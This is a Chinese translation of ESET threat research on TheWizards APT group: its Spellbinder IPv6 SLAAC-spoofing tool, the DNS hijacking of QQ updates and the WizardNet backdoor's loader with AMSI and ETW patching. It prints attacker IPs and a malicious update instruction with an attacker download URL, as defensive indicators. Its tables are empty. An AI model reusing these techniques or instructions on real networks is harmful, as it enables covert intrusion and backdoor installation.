前言
网络安全公司 ESET 最新报告揭露,与中国关联的 APT 组织 TheWizards 正通过 IPv6 协议漏洞( SLAAC 欺骗)发起中间人攻击,劫持腾讯、百度、小米等软件的官方更新流程,诱导用户下载恶意程序。攻击工具 Spellbinder 可伪造局域网网关,篡改域名解析,影响菲律宾、柬埔寨、阿联酋及中国等地的博彩企业及个人用户。报告同时指出该组织与四川鼎科( UPSEC )网络安全公司存在技术关联。建议用户禁用非必要 IPv6 服务,验证软件更新签名,防范此类隐蔽攻击。
正文
ESET研究人员分析了“Spellbinder”,这是一种用于进行中间人攻击的横向移动工具。
在本篇博文中,ESET研究人员对“Spellbinder”进行了分析。“Spellbinder”是一个被我们命名为 “巫师”(TheWizards)的与中国有关联的威胁行为者所使用的,用于进行中间人攻击的横向移动工具。通过IPv6无状态地址自动配置(SLAAC)欺骗,“Spellbinder”能够在受感染的网络中进行横向移动,拦截数据包并重定向合法中国软件的流量,使其从攻击者控制的服务器下载恶意更新。
本篇博文要点
-
我们发现有恶意下载器通过合法的中国软件更新机制被部署到受害者的机器上。 -
该下载器试图部署一个我们命名为“WizardNet”的模块化后门。 -
我们分析了“Spellbinder”:攻击者利用这个工具进行本地中间人攻击,并将流量重定向到攻击者控制的服务器,以交付该组织标志性的后门程序“WizardNet”。 -
我们详细介绍了 “巫师”(TheWizards)组织与中国公司电科网安(四川电科网络安全技术有限公司,也称为UPSEC)之间的联系。
概述
2022年,我们注意到一款流行的中文输入法软件——搜狗拼音下载了一个可疑的DLL文件。这个DLL文件以该软件的一个合法组件命名,它是一个下载器的释放器,会从远程服务器获取一个加密数据块。该数据块包含加载我们命名为“WizardNet”的后门的shellcode代码。
我们的研究发现了攻击者使用的一种工具,该工具旨在利用IPv6 SLAAC欺骗进行中间人攻击,以拦截和回复网络中的数据包,使攻击者能够重定向流量,并针对合法的中国软件提供恶意更新。
受害者情况
至少从2022年到撰写本文时,“巫师”(TheWizards)组织一直非常活跃。根据ESET的遥测数据,“巫师”(TheWizards)组织的目标是菲律宾、柬埔寨、阿联酋、中国大陆和香港的个人、赌博公司以及一些未知实体。其受害者的地理分布情况如图1所示。
Spellbinder,IPv6中间人攻击工具
我们最初在2022年发现并分析了这个工具,并观察到在2023年和2024年有一个略有变化的新版本被部署到受感染的机器上。一旦攻击者访问目标网络中的一台机器,他们就会部署一个名为“AVGApplicationFrameHostS.zip”的压缩文件,并将其组件解压到“%PROGRAMFILES%AVG Technologies”目录下。解压后的文件包括:
-
AVGApplicationFrameHost.exe -
wsc.dll -
log.dat -
winpcap.exe
接下来,攻击者安装“winpcap.exe”并运行“AVGApplicationFrameHost.exe”。后者最初名为“wsc_proxy.exe”,是AVG的一个合法软件组件,但被攻击者滥用,用于加载“wsc.dll”;这个DLL文件只是从“log.dat”文件中读取shellcode代码,并在内存中执行。shellcode代码会在内存中解压并加载“Spellbinder”。
“Spellbinder”使用WinPcap库来捕获数据包,并在需要时回复数据包。它的首要任务是选择或找到一个用于捕获数据包的网络适配器。代码使用WinPcap API中的“pcap_findalldevs”函数来获取所有可用的网络适配器设备。这些设备会以编号列表的形式呈现给攻击者。此外,“Spellbinder”可以接受一个索引作为参数,用于从列表中选择一个适配器。如果没有指定设备,“Spellbinder”会使用Windows API中的“GetBestInterface”和“GetAdapterInfo”函数来找到合适的适配器,并在屏幕上打印其信息。
图2展示了未提供设备编号时“Spellbinder”的输出。在这种情况下,该工具会自行找到最合适的适配器。
如图3所示,一旦找到适配器,“Spellbinder”就会使用WinPcap的“pcap_open_live”API开始捕获数据包,并创建两个线程:一个用于发送ICMPv6路由器通告数据包(下一节将详细解释),另一个用于监控网络变化。WinPcap的“pcap_loop”API负责在每次捕获到新数据包时,调用“Spellbinder”中的回调函数。
路由器通告线程
早在2008年,互联网工程任务组(IETF)就讨论过这种攻击方式,它是由IPv4和IPv6共存时常见且易被忽视的网络配置错误导致的。2011年,亚历克·沃特斯(Alec Waters)对其进行了详细阐述,并将其命名为“SLAAC攻击”。这种攻击利用了IPv6的网络发现协议,在该协议中,ICMPv6路由器通告(RA)消息用于宣告网络中存在支持IPv6的路由器,以便支持IPv6的主机或正在寻找支持IPv6路由器的主机可以将通告设备作为其默认网关。
“Spellbinder”每隔200毫秒向“ff02::1”(“所有节点”)发送一个多播RA数据包;网络中启用了IPv6的Windows机器会通过无状态地址自动配置(SLAAC),使用RA消息中提供的信息进行自动配置,并开始将IPv6流量发送到运行“Spellbinder”的机器上,在那里数据包将被拦截、分析,并在适当时进行回复。图4展示了攻击的第一阶段。
“Spellbinder”构建的RA数据包主要由四个部分组成:
-
RA标志:将“管理地址配置”标志设置为0,向主机表明应使用SLAAC。 -
前缀选项:指示主机使用“2001:db8::/64”前缀来生成其IPv6地址,这不是一个可在互联网上路由的子网,而是一个保留用于文档说明的子网。 -
递归DNS服务器(RDNSS)选项:为主机提供两个DNS服务器的地址:“240e:56:4000:8000::11”和“240e:56:4000:8000::22”。这两个地址都属于中国电信骨干网的AS4134,但似乎不会响应来自互联网的DNS请求。我们没有发现任何证据表明它们是合法的DNS服务器。 -
源链路层选项:提供运行“Spellbinder”的机器的MAC地址,作为本地网段中使用的路由器地址。
图5展示了“Spellbinder”发送的一个ICMPv6 RA消息。
图6展示了在网络中受感染的机器上运行“Spellbinder”前后,Windows系统中“ipconfig /all”命令的输出结果。
数据包处理
如前所述,捕获到的原始数据包由一个回调函数进行处理。“Spellbinder”实现了自己的解析器,用于查找需要处理、回复的数据包,或为攻击者在屏幕上打印相关信息。表1描述了“Spellbinder”处理的一些最相关的数据包类型以及采取的操作。表1 Spellbinder可回复的协议和数据包类型
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
当发现一个DNS查询时,“Spellbinder”会检查查询中的域名是否在一个硬编码的子域名列表中。执行此检查的代码如图7所示。
图8是“Spellbinder”中硬编码列表的一部分。完整的目标域名列表包含许多与多个中国热门平台相关的域名条目,如腾讯、百度、迅雷、优酷、爱奇艺、金山、芒果TV、风行、有道、小米及其MIUI系统、PPLive、美图、奇虎360、暴风影音等。
当DNS查询中的域名在列表中找到时,“Spellbinder”会构建并发送一个DNS应答消息,指示该域名的IP地址,这个IP地址是在二进制文件中硬编码的。例如,在2022年的版本中是“43.155.116[.]7”,而我们所知的2024年使用的最新版本中是“43.155.62[.]54” 。
“Spellbinder”会通知攻击者它正在回答DNS查询。图9展示了该工具的输出,其中包括整个数据包的十六进制转储、字节长度以及一个标题“DNS ATTACK PAYLOAD”(DNS攻击有效载荷)。
图10展示了数据包的信息。
更新劫持
在本篇博文中,我们重点关注了2024年的一个最新案例,其中腾讯QQ软件的更新被劫持。在撰写本文时,发布更新指令的恶意服务器仍然处于活动状态。图11展示了观察到的攻击链。
合法软件组件“QQ.exe”会向“update.browser.qq.com”发送HTTP请求。“Spellbinder”工具会拦截对该域名的DNS查询,并给出一个DNS应答,其中包含用于劫持的攻击者控制的服务器的IP地址,例如在撰写本文时,“43.155.62[.]54”这个地址仍在提供恶意更新。
当劫持服务器收到请求时,它会回复以下(我们美化后的)JSON格式指令,要求下载同一服务器上托管的一个压缩文件:
{
"CSoftID": 22,
"CommandLine": "",
"Desp": "1.1.1160.80",
"DownloadUrl": "http://43.155.62[.]54:81/app/minibrowser11_rpl.zip",
"ErrCode": 0,
"File": "minibrowser11.zip",
"Flags": 1,
"Hash": "da73153c76b6f652f9b2847531d1c367",
"InstallType": 0,
"NewVer": "39.1.1170.900",
"PatchFile": "QBDeltaUpdate.exe",
"PatchHash": "da73153c76b6f652f9b2847531d1c367",
"Sign": "",
"Size": 36673429,
"VerType": ""
}
接下来,“QQ.exe”会下载“minibrowser11_rpl.zip”压缩文件,并将其内容部署到受害者的机器上;然后,恶意的“minibrowser_shell.dll”文件会被加载。
中间人攻击成功后的执行链
在受感染的机器上,恶意软件的执行从恶意的“minibrowser_shell.dll”下载器开始。这个DLL文件有三个导出函数,只有当当前进程的名称包含“QQ”时(例如“QQ.exe”),执行其中任何一个函数才会触发其主要功能。
它使用WinSock API通过TCP连接到攻击者控制的服务器,并从那里获取一个加密数据块,其中包含位置无关的加载器代码和“WizardNet”后门。
加载器shellcode
加载器首先尝试使用一种广为人知的AMSI绕过方法,即修补“AmsiScanBuffer”函数的前几个字节,使其返回一个错误代码,从而绕过扫描内存中恶意代码的机制。然后,它使用“RETN 0x14”指令修补“EtwEventWrite”函数的入口点,这会禁用事件日志记录功能。
为了在内存中执行有效载荷,加载器会使用“ICLRMetaHost”、“ICLRRuntimeInfo”和“ICorRuntimeHost”接口初始化.NET运行时,如图12所示,需要运行时版本为“v2.0.50727”或“v4.0.30319”。
然后,使用简单的加法(ADD)和异或(XOR)组合对有效载荷进行解密。使用.NET运行时将有效载荷加载到内存中,然后执行其入口点。
WizardNet
最终的有效载荷是一个我们命名为“WizardNet”的后门程序——这是一个模块化的植入程序,它会连接到远程控制器,在受感染的机器上接收并执行.NET模块。在初始化过程中,它会创建一个名为“Global<MD5(计算机名称)>”的互斥锁,并从当前工作目录中名为“ppxml.db”的文件或注册表项“HKCU 00000”中读取shellcode代码,并尝试将其注入到“explorer.exe”或“%ProgramFiles%Windows Photo ViewerImagingDevices.exe”的新进程中。
初始化阶段的最后一步是为计算机创建一个唯一标识符,称为“SessionKey”(会话密钥)。它是计算机名称、后门安装时间和磁盘驱动器序列号连接后进行MD5哈希的结果,哈希值的每个十六进制编码字节之间用“@”分隔。“SessionKey”存储在注册表路径“HKCUSoftware<MD5(计算机名称)><MD5(计算机名称)>mid”下。
根据其配置,“WizardNet”可以创建一个TCP或UDP套接字,与它的命令与控制(C&C)服务器进行通信,并且交换的消息使用PKCS7算法进行填充,并使用AES - ECB模式进行加密;“SessionKey”用作加密和解密的密钥,每个数据包的初始化向量(IV)是随机生成的,并放置在加密数据之前。
这个版本的“WizardNet”支持五个命令,如表2所示。前三个命令允许它在内存中执行.NET模块,从而扩展其在受感染系统上的功能。表2 编排器支持的命令概述
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
与四川电科网络安全公司的联系
2024年12月,趋势科技的研究人员发布了对“MOONSHINE”漏洞利用工具包和针对安卓设备的“DarkNimbus”恶意软件的分析报告。
原文始发于微信公众号(土拨鼠的安全屋):ESET研究:“巫师”(TheWizards)高级持续性威胁组织利用SLAAC欺骗进行中间人攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论